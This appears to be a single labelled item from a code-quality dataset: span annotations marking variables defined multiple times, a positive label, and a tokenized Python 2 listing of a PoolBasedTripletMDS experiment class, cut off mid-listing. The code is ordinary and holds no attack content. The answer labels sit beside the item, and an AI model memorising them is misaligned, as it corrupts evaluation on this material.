[ { "span": "log_entry ", "start_line": 61, "start_column": 6, "end_line": 61, "end_column": 15 }, { "span": "didSucceed,", "start_line": 106, "start_column": 6, "end_line": 106, "end_column": 16 }, { "span": "message ", "start_line": 106, "start_column": 17, "end_line": 106, "end_column": 24 }, { "span": "didSucceed,", "start_line": 107, "start_column": 6, "end_line": 107, "end_column": 16 }, { "span": "message ", "start_line": 107, "start_column": 17, "end_line": 107, "end_column": 24 }, { "span": "didSucceed,", "start_line": 108, "start_column": 6, "end_line": 108, "end_column": 16 }, { "span": "message ", "start_line": 108, "start_column": 17, "end_line": 108, "end_column": 24 }, { "span": "didSucceed,", "start_line": 109, "start_column": 6, "end_line": 109, "end_column": 16 }, { "span": "message ", "start_line": 109, "start_column": 17, "end_line": 109, "end_column": 24 }, { "span": "didSucceed,", "start_line": 110, "start_column": 6, "end_line": 110, "end_column": 16 }, { "span": "message ", "start_line": 110, "start_column": 17, "end_line": 110, "end_column": 24 }, { "span": "didSucceed,", "start_line": 112, "start_column": 6, "end_line": 112, "end_column": 16 }, { "span": "message ", "start_line": 112, "start_column": 17, "end_line": 112, "end_column": 24 }, { "span": "didSucceed,", "start_line": 113, "start_column": 6, "end_line": 113, "end_column": 16 }, { "span": "message ", "start_line": 113, "start_column": 17, "end_line": 113, "end_column": 24 }, { "span": "didSucceed,", "start_line": 114, "start_column": 6, "end_line": 114, "end_column": 16 }, { "span": "message ", "start_line": 114, "start_column": 17, "end_line": 114, "end_column": 24 }, { "span": "didSucceed,", "start_line": 115, "start_column": 6, "end_line": 115, "end_column": 16 }, { "span": "message ", "start_line": 115, "start_column": 17, "end_line": 115, "end_column": 24 }, { "span": "didSucceed,", "start_line": 116, "start_column": 6, "end_line": 116, "end_column": 16 }, { "span": "message ", "start_line": 116, "start_column": 17, "end_line": 116, "end_column": 24 }, { "span": "didSucceed,", "start_line": 119, "start_column": 6, "end_line": 119, "end_column": 16 }, { "span": "message ", "start_line": 119, "start_column": 17, "end_line": 119, "end_column": 24 }, { "span": "didSucceed,", "start_line": 120, "start_column": 6, "end_line": 120, "end_column": 16 }, { "span": "message ", "start_line": 120, "start_column": 17, "end_line": 120, "end_column": 24 }, { "span": "didSucceed,", "start_line": 121, "start_column": 6, "end_line": 121, "end_column": 16 }, { "span": "message ", "start_line": 121, "start_column": 17, "end_line": 121, "end_column": 24 }, { "span": "didSucceed,", "start_line": 122, "start_column": 6, "end_line": 122, "end_column": 16 }, { "span": "message ", "start_line": 122, "start_column": 17, "end_line": 122, "end_column": 24 }, { "span": "didSucceed,", "start_line": 123, "start_column": 6, "end_line": 123, "end_column": 16 }, { "span": "message ", "start_line": 123, "start_column": 17, "end_line": 123, "end_column": 24 }, { "span": "didSucceed,", "start_line": 124, "start_column": 6, "end_line": 124, "end_column": 16 }, { "span": "message ", "start_line": 124, "start_column": 17, "end_line": 124, "end_column": 24 }, { "span": "didSucceed,", "start_line": 125, "start_column": 6, "end_line": 125, "end_column": 16 }, { "span": "message ", "start_line": 125, "start_column": 17, "end_line": 125, "end_column": 24 }, { "span": "didSucceed,", "start_line": 126, "start_column": 6, "end_line": 126, "end_column": 16 }, { "span": "message ", "start_line": 126, "start_column": 17, "end_line": 126, "end_column": 24 }, { "span": "didSucceed,", "start_line": 127, "start_column": 6, "end_line": 127, "end_column": 16 }, { "span": "message ", "start_line": 127, "start_column": 17, "end_line": 127, "end_column": 24 }, { "span": "didSucceed,", "start_line": 128, "start_column": 6, "end_line": 128, "end_column": 16 }, { "span": "message ", "start_line": 128, "start_column": 17, "end_line": 128, "end_column": 24 }, { "span": "didSucceed,", "start_line": 130, "start_column": 6, "end_line": 130, "end_column": 16 }, { "span": "message ", "start_line": 130, "start_column": 17, "end_line": 130, "end_column": 24 }, { "span": "didSucceed,", "start_line": 131, "start_column": 6, "end_line": 131, "end_column": 16 }, { "span": "message ", "start_line": 131, "start_column": 17, "end_line": 131, "end_column": 24 }, { "span": "didSucceed,", "start_line": 132, "start_column": 6, "end_line": 132, "end_column": 16 }, { "span": "message ", "start_line": 132, "start_column": 17, "end_line": 132, "end_column": 24 }, { "span": "didSucceed,", "start_line": 133, "start_column": 6, "end_line": 133, "end_column": 16 }, { "span": "message ", "start_line": 133, "start_column": 17, "end_line": 133, "end_column": 24 }, { "span": "didSucceed,", "start_line": 134, "start_column": 6, "end_line": 134, "end_column": 16 }, { "span": "message ", "start_line": 134, "start_column": 17, "end_line": 134, "end_column": 24 }, { "span": "didSucceed,", "start_line": 135, "start_column": 6, "end_line": 135, "end_column": 16 }, { "span": "message ", "start_line": 135, "start_column": 17, "end_line": 135, "end_column": 24 }, { "span": "didSucceed,", "start_line": 136, "start_column": 6, "end_line": 136, "end_column": 16 }, { "span": "message ", "start_line": 136, "start_column": 17, "end_line": 136, "end_column": 24 }, { "span": "didSucceed,", "start_line": 137, "start_column": 6, "end_line": 137, "end_column": 16 }, { "span": "message ", "start_line": 137, "start_column": 17, "end_line": 137, "end_column": 24 }, { "span": "didSucceed,", "start_line": 138, "start_column": 6, "end_line": 138, "end_column": 16 }, { "span": "message ", "start_line": 138, "start_column": 17, "end_line": 138, "end_column": 24 }, { "span": "didSucceed,", "start_line": 139, "start_column": 6, "end_line": 139, "end_column": 16 }, { "span": "message ", "start_line": 139, "start_column": 17, "end_line": 139, "end_column": 24 }, { "span": "didSucceed,", "start_line": 140, "start_column": 6, "end_line": 140, "end_column": 16 }, { "span": "message ", "start_line": 140, "start_column": 17, "end_line": 140, "end_column": 24 }, { "span": "didSucceed,", "start_line": 141, "start_column": 6, "end_line": 141, "end_column": 16 }, { "span": "message ", "start_line": 141, "start_column": 17, "end_line": 141, "end_column": 24 }, { "span": "didSucceed,", "start_line": 142, "start_column": 6, "end_line": 142, "end_column": 16 }, { "span": "message ", "start_line": 142, "start_column": 17, "end_line": 142, "end_column": 24 }, { "span": "didSucceed,", "start_line": 143, "start_column": 6, "end_line": 143, "end_column": 16 }, { "span": "message ", "start_line": 143, "start_column": 17, "end_line": 143, "end_column": 24 }, { "span": "didSucceed,", "start_line": 144, "start_column": 6, "end_line": 144, "end_column": 16 }, { "span": "message ", "start_line": 144, "start_column": 17, "end_line": 144, "end_column": 24 }, { "span": "didSucceed,", "start_line": 145, "start_column": 6, "end_line": 145, "end_column": 16 }, { "span": "message ", "start_line": 145, "start_column": 17, "end_line": 145, "end_column": 24 }, { "span": "didSucceed,", "start_line": 146, "start_column": 6, "end_line": 146, "end_column": 16 }, { "span": "message ", "start_line": 146, "start_column": 17, "end_line": 146, "end_column": 24 }, { "span": "didSucceed,", "start_line": 147, "start_column": 6, "end_line": 147, "end_column": 16 }, { "span": "message ", "start_line": 147, "start_column": 17, "end_line": 147, "end_column": 24 }, { "span": "didSucceed,", "start_line": 148, "start_column": 6, "end_line": 148, "end_column": 16 }, { "span": "message ", "start_line": 148, "start_column": 17, "end_line": 148, "end_column": 24 }, { "span": "didSucceed,", "start_line": 149, "start_column": 6, "end_line": 149, "end_column": 16 }, { "span": "message ", "start_line": 149, "start_column": 17, "end_line": 149, "end_column": 24 } ]
[ { "span": "log_entry ", "start_line": 70, "start_column": 6, "end_line": 70, "end_column": 15 }, { "span": "log_entry ", "start_line": 77, "start_column": 6, "end_line": 77, "end_column": 15 }, { "span": "didSucceed,", "start_line": 150, "start_column": 6, "end_line": 150, "end_column": 16 }, { "span": "message ", "start_line": 150, "start_column": 17, "end_line": 150, "end_column": 24 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Poo", "l", "Base", "d", "Triple", "t", "MD", "S_", "(_", "App", "Prototype", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "daemon", "Process_", "(_", "self_", ",_", "exp", "\\u", "uid_", ",_", "args", "\\u", "json_", ",_", "db_", ",_", "ell_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "id_", "=_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "daemon", "Process", "'_", ",_", "'", "json", "'_", ":_", "args", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "args", "\\u", "json", " ", "to", " ", "args", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "args", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "daemon", "Process", " ", "input", " ", "args", "\\u", "json", " ", "is", " ", "in", " ", "impro", "per", " ", "format", "\"_", "%_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "the", " ", "fields", " ", "tha", "t", " ", "must", " ", "be", " ", "contain", "ed", " ", "in", " ", "args", " ", "or", " ", "error", " ", "occur", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "necessar", "y", "\\u", "fields_", "=_", "[_", "'", "alg", "\\u", "uid", "'_", ",_", "'", "daemon", "\\u", "args", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "necessar", "y", "\\u", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "[_", "field_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "daemon", "Process", " ", "input", " ", "argu", "ment", "s", " ", "missi", "ng", " ", "field", ":", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "str_", "(_", "field_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "alg", "\\u", "daemon", "\\u", "args_", "=_", "args", "\\u", "dict_", "[_", "'", "daemon", "\\u", "args", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "uid_", "=_", "args", "\\u", "dict_", "[_", "'", "alg", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "id_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "alg", "\\u", "uid_", ",_", "'", "alg", "\\u", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "sand", "box", "ed", " ", "databa", "se", " ", "for", " ", "the", " ", "specific", " ", "app", "\\u", "id", ",", "alg", "\\u", "id", ",", "exp", "\\u", "uid", " ", "-", " ", "clos", "ing", " ", "off", " ", "the", " ", "rest", " ", "of", " ", "the", " ", "databa", "se", " ", "to", " ", "the", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "rc_", "=_", "Reso", "urc", "e", "Client_", "(_", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "alg", "\\u", "uid_", ",_", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "specific", " ", "algo", "rit", "hm", " ", "to", " ", "make", " ", "calls", " ", "to", " _", "\\u\\u\\uNL\\u\\u\\u_", "alg_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "alg_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "alg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "dt_", "=_", "utils_", "._", "timeit_", "(_", "alg_", "._", "daemon", "Process_", ")_", "(_", "resource_", "=_", "rc_", ",_", "daemon", "\\u", "args", "\\u", "dict_", "=_", "alg", "\\u", "daemon", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "daemon", "Process", "'_", ",_", "'", "duration", "'_", ":_", "dt_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry", "\\u", "durations_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "daemon", "Process", "'_", ",_", "'", "duration", "'_", ":_", "dt_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry", "\\u", "durations_", "._", "update_", "(_", "rc_", "._", "get", "Dur", "ations_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta_", "=_", "{_", "'", "log", "\\u", "entry", "\\u", "duration", "s", "'_", ":_", "log", "\\u", "entry", "\\u", "durations_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "daemon", "\\u", "message_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args", "\\u", "out_", "=_", "{_", "'", "args", "'_", ":_", "daemon", "\\u", "message_", ",_", "'", "meta", "'_", ":_", "meta_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "json_", "=_", "json_", "._", "dumps_", "(_", "args", "\\u", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "daemon", "Process", "'_", ",_", "'", "json", "'_", ":_", "response", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "response", "\\u", "json_", ",_", "True_", ",_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "daemon", "Process", "'_", ",_", "'", "error", "'_", ":_", "error_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Base", "d", "Triple", "t", "MD", "S_", "(_", "App", "Prototype", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "init", "Exp_", "(_", "self_", ",_", "exp", "\\u", "uid_", ",_", "args", "\\u", "json_", ",_", "db_", ",_", "ell_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "initialize", " ", "the", " ", "project", " ", "and", " ", "necessar", "y", " ", "experiment", "s", " ", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Expect", "ed", " ", "input", " ", "(", "in", " ", "json", " ", "structure", " ", "with", " ", "string", " ", "keys", "):", "\\", "10", ";", " ", " ", "(", "int", ")", " ", "n", " ", ":", " ", "number", " ", "of", " ", "object", "s", "\\", "10", ";", " ", " ", "(", "int", ")", " ", "d", " ", ":", " ", "desi", "red", " ", "dimension", " ", "(", "can", " ", "be", " ", "change", "d", " ", "late", "r", ")", " ", "\\", "10", ";", " ", " ", "(", "float", ")", " ", "fail", "ure", "\\u", "probabilit", "y", " ", ":", " ", "confidence", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "list", " ", "of", " ", "dict", "s", ")", " ", "alg", "\\u", "list", " ", ":", " ", "with", " ", "fields", " ", "(", "Default", "s", " ", "give", "n", " ", "by", " ", "Info", ".", "get", "\\u", "app", "\\u", "default", "\\u", "alg", "\\u", "list", ")", "\\", "10", ";", " ", " ", " ", " ", "(", "string", ")", " ", "alg", "\\u", "id", " ", ":", " ", "valid", " ", "alg", "\\u", "id", " ", "for", " ", "this", " ", "app", "\\u", "id", "\\", "10", ";", " ", " ", " ", " ", "(", "string", ")", " ", "alg", "\\u", "label", " ", ":", " ", "unique", " ", "identifi", "er", " ", "for", " ", "algo", "rit", "hm", " ", "(", "e", ".", "g", ".", " ", "may", " ", "have", " ", "experiment", " ", "with", " ", "repeated", " ", "alg", "\\u", "id", "'", "s", ",", " ", "but", " ", "alg", "\\u", "labels", " ", "must", " ", "be", " ", "un", "qi", "ue", ",", " ", "will", " ", "als", "o", " ", "be", " ", "used", " ", "for", " ", "plot", " ", "legend", "s", "\\", "10", ";", " ", " ", " ", " ", "[", "option", "al", "]", " ", "(", "string", ")", " ", "test\\u", "alg", "\\u", "label", " ", ":", " ", "must", " ", "be", " ", "one", " ", "of", " ", "the", " ", "alg", "\\u", "label", "'", "s", " ", "in", " ", "alg", "\\u", "list", " ", "(", "Default", " ", "is", " ", "self", ")", "\\", "10", ";", " ", " ", " ", " ", "[", "option", "al", "]", " ", "(", "dict", ")", " ", "params", " ", ":", " ", "algo", "rit", "hm", "-", "specific", " ", "parameter", "s", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "dict", ")", " ", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", " ", ":", " ", "dictionar", "y", " ", "with", " ", "fields", " ", "(", "string", ")", " ", "'", "mode", "'", " ", "and", " ", "(", "dict", ")", " ", "'", "params", "'.", " ", "mode", " ", "in", " ", "{", "'", "pure", "\\u", "exploration", "','", "explore", "\\u", "exploit", "','", "fixed", "\\u", "proportion", "s", "'}", ".", " ", "Default", " ", "is", " ", "'", "fixed", "\\u", "proportion", "s", "'", " ", "and", " ", "allocate", "s", " ", "uniform", " ", "probabilit", "y", " ", "to", " ", "each", " ", "algo", "rit", "hm", ".", " ", "If", " ", "mode", "=", "fixed", "\\u", "proportion", "s", " ", "then", " ", "params", " ", "is", " ", "a", " ", "dictionar", "y", " ", "tha", "t", " ", "contain", "s", " ", "the", " ", "field", " ", "'", "proportion", "s", "'", " ", "whi", "ch", " ", "is", " ", "a", " ", "list", " ", "of", " ", "dictionar", "ies", " ", "with", " ", "fields", " ", "'", "alg", "\\u", "label", "'", " ", "and", " ", "'", "proportion", "'", " ", "for", " ", "all", " ", "algo", "rit", "hms", " ", "in", " ", "alg", "\\u", "list", ".", " ", "All", " ", "proportion", "s", " ", "must", " ", "be", " ", "posit", "ive", " ", "and", " ", "sum", " ", "to", " ", "1", " ", "over", " ", "all", " ", "alg", "s", " ", "in", " ", "alg", "\\u", "list", " ", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "string", ")", " ", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", " ", ":", " ", "in", " ", "{", "'", "one", "\\u", "to", "\\u", "one", "','", "one", "\\u", "to", "\\u", "many", "'}", ".", " ", "Default", " ", "is", " ", "'", "one", "\\u", "to", "\\u", "many", "'.", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "string", ")", " ", "instruct", "ion", "s", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "string", ")", " ", "deb", "rie", "f", "\\", "10", ";", " ", " ", "[", "option", "al", "]", " ", "(", "int", ")", " ", "num", "\\u", "trie", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "id_", "=_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remove", " ", "any", " ", "remi", "nant", "s", " ", "of", " ", "an", " ", "experiment", " ", "if", " ", "it", " ", "exists_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "delete", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "'", "experiment", "s", "\\u", "admin", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "delete", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "delete", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "delete", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "delete", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "delete", "\\u", "logs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "delete", "\\u", "logs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "delete", "\\u", "logs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "delete", "\\u", "logs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "delete", "\\u", "logs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "indexe", "s", " ", "(", "only", " ", "adds", " ", "them", " ", "if", " ", "the", "y", " ", "do", " ", "not", " ", "alr", "ead", "y", " ", "exist", ")_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "'", "experiment", "s", "\\u", "admin", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "query", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "participa", "nt", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "{_", "'", "participa", "nt", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "participa", "nts", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", 